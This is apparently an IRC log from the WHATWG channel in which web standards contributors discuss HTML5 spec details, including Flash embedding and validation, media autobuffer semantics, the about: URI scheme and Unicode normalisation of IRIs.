ok just show me the part I should be looking at please =-/

[04:11:03.0000] <annevk2>
Steve^, is there actually a bug in browsers? I somewhat doubt it

[04:11:04.0000] <mookid>
doesn't seem like they are conforming to the spec

[04:11:05.0000] <Steve^>
annevk2, if the spec changes and they don't follow the spec, then you can raise a bug/feature against it

[04:12:00.0000] <zcorpan>
mookid: 4.10.17.5

[04:12:01.0000] <Steve^>
Opera Turbo makes captchas an extra challenge

[04:12:02.0000] <mookid>
URL? -_-

[04:12:03.0000] <annevk2>
Steve^, really? :)

[04:12:04.0000] <takkaria>
mookid: christ, just open the spec... http://www.whatwg.org/specs/web-apps/current-work/multipage/

[04:13:00.0000] <mookid>
see I was here

[04:13:01.0000] <mookid>
http://www.w3.org/TR/html5/forms.html

[04:13:02.0000] <mookid>
thank you.

[04:13:03.0000] <zcorpan>
mookid: TR/ is always outdated, fwiw

[04:13:04.0000] <mookid>
ok sorry I'm not a spec dork :/

[04:13:05.0000] <mookid>
guilty.

[04:13:06.0000] <zcorpan>
just trying to help :)

[04:14:00.0000] <mookid>
I know just frustrated

[04:14:01.0000] <mookid>
thanks :)

[04:16:00.0000] <mookid>
hmm

[04:17:00.0000] <brucel>
zcorpan so there still isn't a way to get flash in  a page that 1) doesn't make IE wait, 2) works x-browser and 3) allows fallback in the markup and 4) validates as html5? The fallback in the markup is necessary for non-JS users, and validation is an important part of lots of corporate QA

[04:18:00.0000] <annevk2>
just make a small swf that loads the big swf

[04:19:00.0000] <annevk2>
or ... don't use Flash :)

[04:19:01.0000] <zcorpan>
brucel: what annevk2 said

[04:19:02.0000] <mookid>
zcorpan: so you think I should provide a comment about specifying how file input's are handled?

[04:19:03.0000] <zcorpan>
brucel: it might be the case that it's fixed in ie8, haven't tested

[04:20:00.0000] <brucel>
annevk2 with you on both points, but a nasty SWF hack feels uber-dirty and many corporates do use Flash at the moment

[04:20:01.0000] <zcorpan>
mookid: html5 references the rfc, so i don't know what's not specified

[04:21:00.0000] <brucel>
feels like classid should be made "conformant but minging" or whatever the specspeak is so Hixie's double object method will validate

[04:23:00.0000] <annevk2>
just for IE8?

[04:23:01.0000] <annevk2>
hmm

[04:23:02.0000] <annevk2>
HTML5 is not done yet, maybe it's better to file a bug on IE

[04:23:03.0000] <zcorpan>
i think classid makes other browsers ignore the object

[04:23:04.0000] <zcorpan>
no?

[04:23:05.0000] <annevk2>
some browsers have hacks for classid

[04:24:00.0000] <annevk2>
/me forgot the details

[04:24:01.0000] <mookid>
so this Content-Disposition: form-data; name="user"

[04:24:02.0000] <mookid>
name is taken from the input id attribute?

[04:25:00.0000] <Steve^>
My understanding was that the video element was created to solve video problems like this

[04:25:01.0000] <Steve^>
the HTML5 way would be to use that

[04:25:02.0000] <Steve^>
but, I'm new here

[04:25:03.0000] <zcorpan>
brucel: i'd try to get firefox fix their lack-of-data="" bug and ie fix their wait-until-loaded bug (if they haven't already)

[04:26:00.0000] <mookid>
I think I've asked this before but I can't remember what the answer was

[04:26:01.0000] <annevk2>
Steve^, video is not the only use case for Flash

[04:27:00.0000] <mookid>
is there a channel/group for browser devs or is this the best place to be for that?

[04:29:00.0000] <takkaria>
nattokirai: taken from <input name="">

[04:29:01.0000] <takkaria>
uh

[04:29:02.0000] <takkaria>
mookid: taken from <input name="">

[04:30:00.0000] <Philip`>
mookid: There are other channels that are better for specific browsers

[04:31:00.0000] <Philip`>
(like #webkit for WebKit, and Mozilla IRC for Mozilla)

[04:31:01.0000] <jgraham_>
But his one is good for browsers in general

[04:31:02.0000] <jgraham_>
Well some browsers

[04:31:03.0000] <Philip`>
(For IE, you can, uh, I suppose comment in a random post on the IEBlog and then be ignored)

[04:32:00.0000] <hsivonen>
Hixie: I think the "in foreign" exit is well-defined

[04:32:01.0000] <mookid>
ha

[04:32:02.0000] <mookid>
ok thanks :)

[04:33:00.0000] <hsivonen>
so it turns out that the people digging up the phone copper weren't doing it because I complained about my ADSL

[04:33:01.0000] <mookid>
gypos?

[04:33:02.0000] <hsivonen>
they are doing it because a different person in the building and customer of a different ISP 

[04:34:00.0000] <zcorpan>
for IE you can participate in their yearly sheduled IE Team Chat Session for 60 minutes, or similar

[04:34:01.0000] <jgraham_>
and be ignored

[04:34:02.0000] <zcorpan>
yeah

[04:34:03.0000] <mookid>
hey

[04:34:04.0000] <mookid>
at least they're trying

[04:34:05.0000] <Philip`>
It's not the greatest feedback system in the world

[04:35:00.0000] <mookid>
IE is going to die anyway

[04:35:01.0000] <mookid>
I have a plan

[04:35:02.0000] <mookid>
a genius plan

[04:35:03.0000] <Philip`>
(It is pretty hard to have a feedback system that doesn't get overwhelmed by noise, when you have a billion users)

[04:35:04.0000] <Philip`>
(so I'm not sure what they could do better)

[04:36:00.0000] <jgraham_>
/me is wondering whether the death of IE will come before or after the entropy death of the universe

[04:36:01.0000] <jgraham_>
Note: "entropy death of the universe" is a term I just made up

[04:36:02.0000] <brucel>
like i said, "conformant but horrible" for classid makes the whole Flash embed validation problem go away and doesn't require anyone to change their code, just WHATWG to change the spec. (The Flash they use isn't for video)

[04:36:03.0000] <hsivonen>
Philip`: generally speaking, people shouldn't use IRC to complain about Firefox bugs

[04:36:04.0000] <mookid>
spyware

[04:36:05.0000] <mookid>
no wait

[04:36:06.0000] <mookid>
it's not called that

[04:37:00.0000] <hsivonen>
brucel: Hixie had a demo that made Java embedding using <object> work cross-browser using only HTML5-valid stuff

[04:37:01.0000] <karlcow>
http://tech.groups.yahoo.com/group/rest-discuss/message/13346

[04:37:02.0000] <karlcow>
doesn't seem to be a joke finally… The REST-*

[04:37:03.0000] <hsivonen>
brucel: does the same thing not work for Flash?

[04:38:00.0000] <mookid>
package the webskit/mozilla engines so devs can use them like adobe-AIR

[04:38:01.0000] <brucel>
hsivonen got a link, Henri?

[04:38:02.0000] <hsivonen>
brucel: http://damowmow.com/playground/demos/java/001.html

[04:38:03.0000] <annevk2>
brucel, are you sure classid does not break other browsers?

[04:39:00.0000] <hsivonen>
IIRC, classid breaks Gecko

[04:39:01.0000] <hsivonen>
or at least used to, IIRC

[04:39:02.0000] <hsivonen>
maybe that was an artifact of XPCOM plug-ins

[04:39:03.0000] <hsivonen>
dunno what the story is now with NPRuntime

[04:41:00.0000] <brucel>
annevk2 Hixie's orginal demo seems to work everywhere, just not validate as html5:  http://damowmow.com/playground/demos/flash/001.html

[04:41:01.0000] <hsivonen>
brucel: it would be very cool to have an HTML5 doctor article about how to do Flash and Java in a Hixie-approved way syntactically

[04:41:02.0000] <zcorpan>
filed https://bugzilla.mozilla.org/show_bug.cgi?id=517440

[04:41:03.0000] <hsivonen>
(even if Hixie doesn't approve of Flash and Java)

[04:42:00.0000] <hsivonen>
zcorpan: do you have an on-the-Web URL demo/test case to go with the bug report?

[04:43:00.0000] <zcorpan>
hsivonen: i did until Hixie changed his test to be Firefox-compatible

[04:43:01.0000] <zcorpan>
hsivonen: see brucel's message above for a flash file to use

[04:45:00.0000] <brucel>
I agree that I'm talking dirty, but reiterate this is a genuine use case. Just in on twitter, for example "Do share if you find a solution .. it's a prob I've been encountering a lot of the last few months... will need a change in spec to get around though I think?"  http://twitter.com/allmarkedup/statuses/4076136010

[04:45:01.0000] <adactio>
brucel: you can take a look at how I'm doing cross-browser Flash on Huffduffer. I'm not using <embed> but the crucial thing is duplicating the swf path in the @data attribute of <object> *and* in a <param name="movie"> element. Fallback content goes before the closing </object>.

[04:45:02.0000] <annevk2>
brucel, did you see the hack it's using

[04:46:00.0000] <annevk2>
brucel, ouch

[04:46:01.0000] <annevk2>
adactio, that apparently prevents incremental loading

[04:46:02.0000] <brucel>
annevk2 yes, I'm covering my eyes and holding my nose.

[04:46:03.0000] <adactio>
annevk2: Yes. Basically I'm doing Flash Satay so it only really works well with small .swf files (the whole thing is downloaded before being displayed.

[04:47:00.0000] <brucel>
adactio that's why I discounted that method as a bullet-proof one to recommend

[04:47:01.0000] <brucel>
tho it's perfectly acceptable much of the time

[04:47:02.0000] <adactio>
brucel: well, it depends on the use case. It works well for video or audio flash containers that then point off to the actual movie or sound file.

[04:47:03.0000] <zcorpan>
brucel: use <!--[if IE]><object for ie><param><![endif]--><!--[if !IE]>--><object for others><!--<![endif]--><param quality etc>fallback</object>

[04:48:00.0000] <zcorpan>
i might have screwed up the cc syntax but the idea is the same

[04:48:01.0000] <zcorpan>
the first object can use classid and be hidden from the validator

[04:48:02.0000] <adactio>
Incidentally, I would totally use <audio> on Huffduffer in a heartbeat if it weren't  for the bug in Safari that insists on prebuffering (even in the absence of @autobuffer).

[04:49:00.0000] <adactio>
Here's the bug: https://bugs.webkit.org/show_bug.cgi?id=25267

[04:49:01.0000] <brucel>
will try zcorpan, thx. (Actually, will ask some flash ppl to look as I know zilch about little swfs to call in big swfs etc)

[04:50:00.0000] <zcorpan>
brucel: if you write an article, i could help review it

[04:50:01.0000] <zcorpan>
it could go from simplest case to most complext case with most requirements

[04:51:00.0000] <zcorpan>
1) no fallback? use <embed>! 2) want fallback and have a small flash file? ...

[04:51:01.0000] <brucel>
zcorpan thanks. Actually, am going on the razzle with some guys from Adobe tomorrow in London and will bat it back to them to have a look at.

[04:51:02.0000] <brucel>
not bat it back, but bat it to...

[04:52:00.0000] <zcorpan>
ok

[04:53:00.0000] <zcorpan>
/me will now spend the rest of the day to try to find <source> bugs

[04:53:01.0000] <brucel>
I found a way to embed YouTube vids as valid html5, but not with any fallback http://www.brucelawson.co.uk/2009/html-5-flash-embedding-and-other-validation-erors/

[04:54:00.0000] <zcorpan>
brucel: the <embed> alone is enough

[04:54:01.0000] <adactio>
brucel: for YouTube videos you can just use Flash Satay because the actual .swf file is very small so the lack of buffering doesn't really matter.

[04:55:00.0000] <zcorpan>
<embed src="http://www.youtube.com/v/8-pFwbHMuwA&amp;hl=en&amp;fs=1">

[04:55:01.0000] <brucel>
good to know, thanks chaps. I feel The Article Of Doom coming on

[04:57:00.0000] <brucel>
and now must get on and give annevk2 the list of developer worries about html5 that I've been collecting the last few weeks (which I promised him on Tuesday)

[04:57:01.0000] <annevk2>
adactio, that's not a bug in theory btw

[04:58:00.0000] <adactio>
annevk2: explain.

[04:58:01.0000] <annevk2>
adactio, UAs are free to buffer if they want

[04:58:02.0000] <zcorpan>
it's a bug in practice

[04:59:00.0000] <adactio>
annevk2: Not true. The spec says that UAs are *free to ignore the @autobuffer attribute*. That means they are free to ignore the request to autobuffer. It does not mean they are free to automatically autobuffer.

[04:59:01.0000] <annevk2>
adactio, that's not what it means

[04:59:02.0000] <adactio>
annevk2: that's how it reads.

[04:59:03.0000] <annevk2>
not to me

[04:59:04.0000] <zcorpan>
adactio: browsers are free to download whatever they want

[04:59:05.0000] <zcorpan>
adactio: autobuffer="" is a hint

[05:00:00.0000] <zcorpan>
adactio: browsers are required to download enough to show the first frame unless poster="" is present

[05:00:01.0000] <zcorpan>
but that's all

[05:00:02.0000] <adactio>
zcorpan: then the only way for an author to explicitly request no autobuffering is... by doing nothing. Because any use of the autobuffer attribute will trigger autobuffering (because it's Boolean).

[05:00:03.0000] <annevk2>
adactio, it's by not setting src

[05:01:00.0000] <zcorpan>
adactio: indeed

[05:01:01.0000] <zcorpan>
adactio: but authors should be able to rely on browsers doing whatever is the best experience for their users

[05:01:02.0000] <zcorpan>
adactio: even when faced with a page that has 30 <video src>es

[05:01:03.0000] <adactio>
zcorpan: my point entirely.

[05:01:04.0000] <annevk2>
no, your point is that the author should be in control

[05:02:00.0000] <adactio>
if the user agent misbehaves, the author should have some way of at least *requesting* no autobuffering.

[05:02:01.0000] <zcorpan>
the only way to do that is to not set the src

[05:03:00.0000] <zcorpan>
(if webkit had implemented suspending download, they would do it without author "requesting" suspending)

[05:03:01.0000] <zcorpan>
(it's just that they haven't implemented it yet)

[05:05:00.0000] <adactio>
The spec currently says "This attribute may be ignored altogether. " If you read what the attribute does, that means that user agents don't have to autobuffer ...not that user agents are free to autobuffer willy-nilly.

[05:05:01.0000] <zcorpan>
adactio: i'm pretty sure it says elsewhere that UAs are free to autobuffer willy-nilly

[05:06:00.0000] <annevk2>
the purpose of the attribute is to instruct UAs to buffer

[05:06:01.0000] <annevk2>
the purpose of the attribute is not to instruct UAs not to buffer

[05:06:02.0000] <annevk2>
so ignoring it cannot mean not buffering, because that was never the purpose

[05:09:00.0000] <zcorpan>
"User agents may decide to not download more content at any time, e.g. after buffering five minutes of a one hour media resource, while waiting for the user to decide whether to play the resource or not, or while waiting for user input in an interactive resource."

[05:10:00.0000] <zcorpan>
the text on autobuffer is non-normative, and just says that it's a hint

[05:10:01.0000] <zcorpan>
or, the normative part is "This attribute may be ignored altogether. The attribute must be ignored if the autoplay attribute is present."

[05:11:00.0000] <annevk2>
reading it again it seems adactio read between the lines, which is somewhat dangerous with specs

[05:12:00.0000] <zcorpan>
nevertheless, it's a bug not because it violates html5 but because the user experience sucks

[05:13:00.0000] <annevk2>
a bug where?

[05:14:00.0000] <annevk2>
UAs could easily stop buffering if there's > 2 media resources

[05:14:01.0000] <annevk2>
for instance

[05:15:00.0000] <zcorpan>
a bug in webkit that it always buffers all media elements

[05:16:00.0000] <zcorpan>
as explained in the bug report; the bug report doesn't say that webkit violates html5, just that it's wasting bandwidth and causing unhappiness

[06:25:00.0000] <mpilgrim>
hsivonen: i am offended by http://lists.w3.org/Archives/Public/www-tag/2009Sep/0041.html

[06:25:01.0000] <mpilgrim>
i did *not* specify feed autodiscovery from my basement

[06:25:02.0000] <jgraham_>
mpilgrim: Someone elses's basement?

[06:25:03.0000] <mpilgrim>
i'm pretty sure i was on a couch

[06:26:00.0000] <jgraham_>
Whose basement was the couch in?

[06:26:01.0000] <Lachy>
Joseph responded about the about: URI scheme draft, and made most of the changes I suggested. We're just trying to figure out how to sort out the issues with section 5. Resolving "about" URIs and about:blank.

[06:26:02.0000] <Lachy>
http://github.com/josephholsten/about-uri-scheme/blob/master/draft-holsten-about-uri-scheme-03.txt

[06:26:03.0000] <mpilgrim>
damn it, this is how rumors get started and etched in cement

[06:26:04.0000] <hsivonen>
mpilgrim: I'm sorry I've caused offense.

[06:27:00.0000] <mpilgrim>
it is, however, entirely possible that i was in my pajamas at the time

[06:27:01.0000] <Lachy>
I'm trying to say that unreserved URIs may be resolved in any way at all, but that some reserved URIs need to be resolved as defined. The question is, what to do about effectively reserved URIs that aren't defined to be resolvable, like about:legacy-compat

[06:28:00.0000] <hsivonen>
mpilgrim: I was more concerned about the "Joe" part than the "basement" part

[06:29:00.0000] <mpilgrim>
i understand the point

[06:29:01.0000] <mpilgrim>
also, for the record, i did try to create a real RFC for autodiscovery

[06:29:02.0000] <hsivonen>
mpilgrim: I'm aware. What happend to the I-D?

[06:30:00.0000] <karlushi>
there is a lot of cement in basements

[06:30:01.0000] <mpilgrim>
i dropped out of the scene

[06:30:02.0000] <annevk2>
Lachy, would it make sense to treat unrecognized URIs as about:blank and reserved URIs as defined unless defined to not resolve?

[06:30:03.0000] <jgraham_>
Lachy: Just make about:legacy-compat resolve to something. Preferably something funny :)

[06:30:04.0000] <mpilgrim>
others tried to pick it up

[06:30:05.0000] <jgraham_>
/me should not be taken seriously

[06:30:06.0000] <mpilgrim>
but never succeeded in taking it through the RFC process

[06:31:00.0000] <hsivonen>
jgraham_: that's a dangerous thing to joke about

[06:31:01.0000] <annevk2>
Lachy, where "reserved" is blank / legacy-compat and whatever the implementation wishes I suppose

[06:31:02.0000] <hsivonen>
jgraham_: or the next thing we know is that it gets defined to resolve to a DTD

[06:31:03.0000] <karlushi>
about:life-and-everything

[06:32:00.0000] <Lachy>
jgraham_, I'd prefer to let browser vendors resolve to whatever they like. e.g. Showing a page telling authors to use <!DOCTYPE html> and explaining that about:legacy-compat is to be avoided unless needed

[06:32:01.0000] <Lachy>
annevk2, yeah, defining that unrecognised URIs are equivalent to about:blank would be nice

[06:39:00.0000] <karlushi>
about:[something] could be a nice way to get information about many things, local documentation on your computer.   about:weather, about:cinema, etc. doable already I guess with some browsers. 

[06:39:01.0000] <karlushi>
I wonder if it would work gecko.handlerService.schemes.about.1.uriTemplate

[06:41:00.0000] <Lachy>
karlushi, implementations are free to implement such URIs however they like.

[06:42:00.0000] <Lachy>
In fact, Netscape 4 had quite a few such URIs that were implemented to redirect to specific websites (mostly the websites of some Netscape developers at the time)

[06:42:01.0000] <annevk2>
about:jwz

[06:43:00.0000] <karlushi>
Lachy, yes :) was not thinking about implementation interop, more people configuring it themselves to do magic things. about:weather gives me information about the rain this morning in Montreal and slaps my face for not taking my umbrella.

[06:43:01.0000] <annevk2>
led to http://www.jwz.org/gruntle/blowme.html

[06:43:02.0000] <karlushi>
yep

[06:43:03.0000] <annevk2>
funny story

[06:53:00.0000] <mpilgrim>
how easy is it for, say, a firefox extension to add a new about:foo page?

[06:55:00.0000] <annevk2>
mpilgrim, might get a faster answer on irc.mozilla.org

[06:58:00.0000] <mpilgrim>
eh, just idle curiosity

[06:58:01.0000] <mpilgrim>
i don't actually want to go make one

[06:58:02.0000] <mpilgrim>
/me catches up on www-tag

[06:59:00.0000] <Lachy>
I think I've sorted it out.  I've defined what reserved, unreserved, and unrecognised about URIs are, and then defined how each should be resolved, and the requirement for unrecognised about URIs is that they SHOULD be treated like about:blank.

[07:00:00.0000] <Lachy>
I'll mail Joseph and get him to integrate it into the draft

[07:04:00.0000] <mpilgrim>
can someone give me a high-level overview of why about:blank needs to be standardized?

[07:05:00.0000] <hsivonen>
mpilgrim: you do <iframe src='about:blank'> and then you want to assume thing about the sub-DOM you got

[07:05:01.0000] <hsivonen>
mpilgrim: as it happens, I got hit by that one recently, because Gecko puts a doctype node in there

[07:05:02.0000] <hsivonen>
s/thing/things/

[07:06:00.0000] <hsivonen>
mpilgrim: and the reason why you want to do <iframe src='about:blank'> is that you want to obtain an HTML-mode Document object

[07:06:01.0000] <hsivonen>
mpilgrim: because the factory method gives you an XML-mode object

[07:06:02.0000] <mpilgrim>
interesting

[07:07:00.0000] <hsivonen>
however, if you want to get an HTML-mode Document in the no-quirks mode, you lose

[07:07:01.0000] <mpilgrim>
can't we just make up a new API for that?

[07:08:00.0000] <hsivonen>
mpilgrim: it would be within reason to have an API for that

[07:10:00.0000] <mpilgrim>
i mean, i love about:blank as much as the next webgeek

[07:10:01.0000] <mpilgrim>
it's my home page, after all

[07:10:02.0000] <annevk2>
mpilgrim, content uses it too

[07:11:00.0000] <annevk2>
mpilgrim, and UAs have to support it in the manner described by hsivonen

[07:11:01.0000] <mpilgrim>
that makes sense

[07:11:02.0000] <mpilgrim>
thanks

[07:11:03.0000] <annevk2>
so since HTML5 mentions it in the page loading model (or something) people like to see it registered

[07:11:04.0000] <Lachy>
mpilgrim, the basic reason is that the about: URI scheme needed to be registerred to keep some people happy about about:legacy-compat being used in HTML5

[07:12:00.0000] <annevk2>
and we use it for the XSLT-compat doctype now, though that's called about:legacy-compat

[07:12:01.0000] <hsivonen>
which is odd, because per HTML5, the legacy-compat thingy is just a string

[07:12:02.0000] <hsivonen>
the URIness kicks in when someone tries to be polyglottal with it

[07:13:00.0000] <mpilgrim>
/me is lost again

[07:13:01.0000] <hsivonen>
which doesn't matter in practice, because the two people who actually do polyglot publishing don't use that doctype

[07:14:00.0000] <Lachy>
mpilgrim, if someone uses <!DOCTYPE html SYSTEM "about:legacy-compat"> in an XHTML document, and some XML processor attempts to resolve it to get the DTD, then it gets treated as a URI.  Whereas, in the HTML syntax, it's just an opaque identifier

[07:14:01.0000] <annevk2>
hsivonen, the reason it is a URI is so that tools do not barf

[07:15:00.0000] <mpilgrim>
so html5 needed to invent a bogus pseudo-URI about:legacy-compat to accomodate XSLT tools

[07:16:00.0000] <Lachy>
yes

[07:17:00.0000] <Lachy>
and it needed to be a URI that is intentionally unresolvable, rather than just some random string, to avoid it being treated as a relative URL by some XML processors

[07:17:01.0000] <mpilgrim>
then we have to register the about: URI scheme because some tools that no one uses might interpret it as a URI

[07:17:02.0000] <mpilgrim>
got it

[07:18:00.0000] <AryehGregor>
hsivonen, MediaWiki could definitely use more URL normalization, but NFKC is too strict AFAIK.  It would mean <http://en.wikipedia.org/wiki/²> couldn't be distinct from <http://en.wikipedia.org/wiki/2> and so on.

[07:20:00.0000] <AryehGregor>
At least AFAICT.

[07:20:01.0000] <AryehGregor>
I have no idea how the current setup works in practice for languages like Lao.

[07:20:02.0000] <hsivonen>
mpilgrim: registering about:legacy-compat is a theoretical purity thing

[07:21:00.0000] <mpilgrim>
indeed

[07:21:01.0000] <mpilgrim>
but it doesn't actually hurt anything

[07:21:02.0000] <mpilgrim>
does it?

[07:24:00.0000] <annevk2>
mpilgrim, nope

[07:24:01.0000] <zcorpan>
opportunity cost

[07:26:00.0000] <mpilgrim>
grr

[07:26:01.0000] <mpilgrim>
looks like the blog.whatwg.org redesign dropped the google analytics script

[07:27:00.0000] <annevk2>
oh my bad

[07:27:01.0000] <mpilgrim>
adding it back...

[07:27:02.0000] <annevk2>
guess we're missing stats on all the news article attention now

[07:28:00.0000] <annevk2>
i was quite amused how they all failed to detect sarcasm and praised Google for being so nice

[07:30:00.0000] <mpilgrim>
?

[07:31:00.0000] <erlehmann>
annevk2, its not too late to slip it into slashdots idle queue ;)

[07:32:00.0000] <annevk2>
mpilgrim, well, they didn't actually praise Google, I made that up

[07:33:00.0000] <hsivonen>
AryehGregor: it's quite possible that the right fix is to keep MediaWiki as is and configure the Jena IRI lib differently for V.nu

[07:34:00.0000] <hsivonen>
AryehGregor: however, if that's the right answer, it's a bit annoying that the RFC gives advice that isn't practical for Wikipedia

[07:34:01.0000] <AryehGregor>
hsivonen, well, changing MediaWiki to normalize more strictly would be a headache due to the millions of existing pages.  We're not going to do that anytime soon anyway, without some pressing reason.

[07:34:02.0000] <hsivonen>
AryehGregor: seems reasonable

[07:34:03.0000] <AryehGregor>
NFKC seems like it's only good for stuff like search indexes, I don't see how it's usable for actual display.

[07:35:00.0000] <AryehGregor>
Well, maybe the specific ²/2 case would be handled in HTML output with the <sup> compat thing, but that doesn't help for URLs or <title>s.

[07:35:01.0000] <hsivonen>
Wikipedia URLs are a kind of a search index, though

[07:36:00.0000] <annevk2>
I would advice against using NFKC

[07:36:01.0000] <annevk2>
you will actually lose things then

[07:36:02.0000] <annevk2>
NFC is god enough for IRIs

[07:37:00.0000] <hsivonen>
annevk2: ooh. you disagree with RFC-given advice! :-)

[07:37:01.0000] <AryehGregor>
hsivonen, by "search indexes" I mean non-user-visible stuff.  Like convert to NFKC for the index, and convert the query to NFKC before searching, then return the actual result in NFC.

[07:37:02.0000] <hsivonen>
AryehGregor: ok

[07:38:00.0000] <annevk2>
I don't want my fullwidth latin to be turned into ordinary latin :)

[08:03:00.0000] <AryehGregor>
/me wants a joystick-controlled binary file editor projected onto a 3D hologram system.

[08:33:00.0000] <Lachy>
AryehGregor, how would joystick control work in an editor?

[08:33:01.0000] <AryehGregor>
Lachy, I don't know, ask Hixie.

[08:34:00.0000] <Lachy>
did Hixie say something about it that I missed?

[08:34:01.0000] <AryehGregor>
Lachy, http://lists.w3.org/Archives/Public/www-style/2009Sep/0176.html

[08:35:00.0000] <Lachy>
haha

[08:37:00.0000] <Lachy>
maybe 1's and 0's would be projected onto a curved, 3D workspace, and the joystick could be moved left and right to move the cursor, and up and down to change a bit to 0 or 1. :-)

[08:37:01.0000] <Lachy>
and the fire button for deleting

[08:37:02.0000] <TabAtkins>
I think it would be best to have it like a racing game, where you keep being faced with a choice of 1 or 0 and dodge left and right to build up the code.

[08:38:00.0000] <TabAtkins>
But then I think I'm just influenced by that super-awesome mouse-based typing thing I saw once that worked like that, but with predictive display that made more likely next-letters larger.

[08:39:00.0000] <TabAtkins>
Lachy: your mail program is messing with formatting.  I had spaces before all the elements in my last email, but when you quoted me they disappeared (and now join with the previous word).

[08:40:00.0000] <AryehGregor>
gsnedders, yesterday I was just diagnosed as probably having chronic fatigue syndrome too.

[08:40:01.0000] <AryehGregor>
/me commiserates

[08:41:00.0000] <Lachy>
TabAtkins, what? Your mail is here http://lists.w3.org/Archives/Public/public-html/2009Sep/0759.html and the quote looks the same here http://lists.w3.org/Archives/Public/public-html/2009Sep/0762.html

[08:42:00.0000] <Lachy>
btw, this reminds of a MacBook parody I saw once that replaced they keyboard with a giant touch pad, and required complicated gestures to type stuff

[08:42:01.0000] <TabAtkins>
Look closer, Lachy.  For example, in my original email I typed "second <h1>", and in your quote of my email it shows up as "second<h1>".

[08:42:02.0000] <Lachy>
oh, it was the MacBook Wheel http://www.theonion.com/content/video/apple_introduces_revolutionary :-)

[08:43:00.0000] <Lachy>
oh, weird.

[08:45:00.0000] <TabAtkins>
Anyway, I guess I agree with you that using <h1>, at least in the manner I described, is unworkable.

[08:45:01.0000] <Lachy>
I'm not too surprised though. I'm using Postbox, and they've messed up a few issues with their support for format=flowed

[08:46:00.0000] <TabAtkins>
Who was it yesterday that suggested <p caption>?

[08:47:00.0000] <TabAtkins>
I'm writing up a response email, and I want to promote that now.  I like it more as time goes on.

[08:47:01.0000] <Lachy>
me

[08:47:02.0000] <Lachy>
I'm not a huge fan of the idea myself though

[08:47:03.0000] <TabAtkins>
I'm suggesting it anyway.

[08:47:04.0000] <TabAtkins>
I like it better than minting a new element.

[08:47:05.0000] <Lachy>
ok

[08:49:00.0000] <Steve^>
<p caption> sounds weird, nothing else is done like that?

[08:56:00.0000] <TabAtkins>
<time pubdate> is done like that now.

[09:01:00.0000] <annevk2>
TabAtkins, that's different

[09:01:01.0000] <annevk2>
<p> is nothing like a caption

[09:01:02.0000] <TabAtkins>
If you're using it as a caption, it is.  But then <div> could be too, or <ul>.

[09:01:03.0000] <annevk2>
-_-

[09:02:00.0000] <Steve^>
can I <h1 caption>?

[09:02:01.0000] <TabAtkins>
Yup.

[09:02:02.0000] <Steve^>
pubdate is a specific type of time

[09:02:03.0000] <Steve^>
whereas caption can attach to lots of things

[09:02:04.0000] <TabAtkins>
Hmm, I don't understand the distinction, Steve^.

[09:03:00.0000] <TabAtkins>
As long as there's no behavioral differences in DOM terms, just a semantic difference, then both are just saying that a particular element has special significance to its parent.

[09:04:00.0000] <annevk2>
Steve^ said what I meant

[09:04:01.0000] <annevk2>
anyway, bikeshed discussions are a wot

[09:04:02.0000] <Steve^>
with time pubdate, the important bit is time, pubdate is a specific bit. You parse time, then pubdate. In this case, the parser needs to search within its children for a caption

[09:05:00.0000] <Steve^>
I suppose it doesn't need to.. hmm

[09:05:01.0000] <Steve^>
it feels wrong

[09:08:00.0000] <TabAtkins>
As far as I know, the caption of a figure is not treated specially in any way.  It's just a semantic distinction, useful for UAs that care, but it doesn't have any behavioral difference.

[09:10:00.0000] <TabAtkins>
annevk2: Yeah, I agree, but whatcha gonna do.  Some people threaten Formal Objections over these types of things.  I just think <dt>/<dd> in <figure> looks really ugly, but I dont' object to it forcefully or anything.

[09:10:01.0000] <Steve^>
<p legend>

[09:11:00.0000] <TabAtkins>
Steve^: pubdate isn't actually a quality of the <time> itself, though.  It's a linkage between one particular <time> and its enclosing <article>, and could just as well be an attribute on the <article> that took an IDREF.

[09:11:01.0000] <TabAtkins>
I have no attachment to the name of the attribute whatsoever; I just thought that people liked "caption".

[09:12:00.0000] <Steve^>
<ul nav>

[09:12:01.0000] <brucel>
<div section>

[09:12:02.0000] <TabAtkins>
At that point you get into problems, as those have behaviors associated with them wrt the outline algorithm.

[09:13:00.0000] <TabAtkins>
This approach is *definitely* not appropriate past a certain point.

[09:13:01.0000] <brucel>
<div role=section">, <p role="caption"> yay. (</sarcasm>

[09:13:02.0000] <Lachy>
TabAtkins, the caption may be given special default rendering distinct from an elements normal styling, if Hixie accepts my previous suggestion

[09:14:00.0000] <TabAtkins>
Lachy: I must have missed that suggestion.

[09:14:01.0000] <Lachy>
that would basically make figure display: table; and the caption display: table-caption; and a default caption-side set to top or bottom, based on whether or not it's the first child

[09:14:02.0000] <Steve^>
how about <section><h1 outline>foo</h1><h2>bar</h2>  to avoid hgroup?

[09:15:00.0000] <TabAtkins>
Steve^, I'm not sure how that's supposed to work.

[09:15:01.0000] <Lachy>
Steve^, no, as that would require an outline attribute on all h1s intended to be in the outlien

[09:15:02.0000] <Lachy>
*outline

[09:15:03.0000] <Steve^>
Oh. I JUST understood what hgroup is for.

[09:16:00.0000] <Steve^>
I thought I knew, but now I really know.

[09:16:01.0000] <Lachy>
TabAtkins, that styling suggestion was sent about a year or so ago, but it was linked to recently

[09:16:02.0000] <Lachy>
I will find it

[09:16:03.0000] <Steve^>
("hiding from the outline algorithm" was too vague for me)

[09:16:04.0000] <TabAtkins>
Nah, I get it Lachy.

[09:17:00.0000] <TabAtkins>
But I'm not sure that rendering differences are important enough to make an attribute a bad solution here.

[09:18:00.0000] <Lachy>
http://lists.w3.org/Archives/Public/public-html/2007Sep/0375.html

[09:18:01.0000] <TabAtkins>
/me notes that your suggested rendering would give it a fairly attractive appearance by default, though.

[09:19:00.0000] <TabAtkins>
figure>[caption] { display: table-caption; caption-side:bottom;} figure>[caption]:first-child { caption-side:top; }?

[09:19:01.0000] <Steve^>
label.. that's a good idea

[09:19:02.0000] <Lachy>
it would make things complicated, since browser vendors would have to design appropriate default styles for all elements that could potentially have a caption attribute, and that could mean changing margins, padding, borders, font styles or whatever else

[09:19:03.0000] <Lachy>
Steve^, no, it's a bad idea. It's unworkable for several reasons

[09:19:04.0000] <TabAtkins>
Steve^: <label> prevents you from using any form elements inside of it.

[09:20:00.0000] <Steve^>
why?

[09:20:01.0000] <TabAtkins>
Lachy: But in your suggestions, the *only* change made to the styling is a display change.

[09:20:02.0000] <TabAtkins>
Steve^, because it will auto-focus the first such element, preventing you from clicking on anything else.

[09:21:00.0000] <Lachy>
that's because at the time, it was based on restyling label, which has acceptable defaults for everything else

[09:21:01.0000] <TabAtkins>
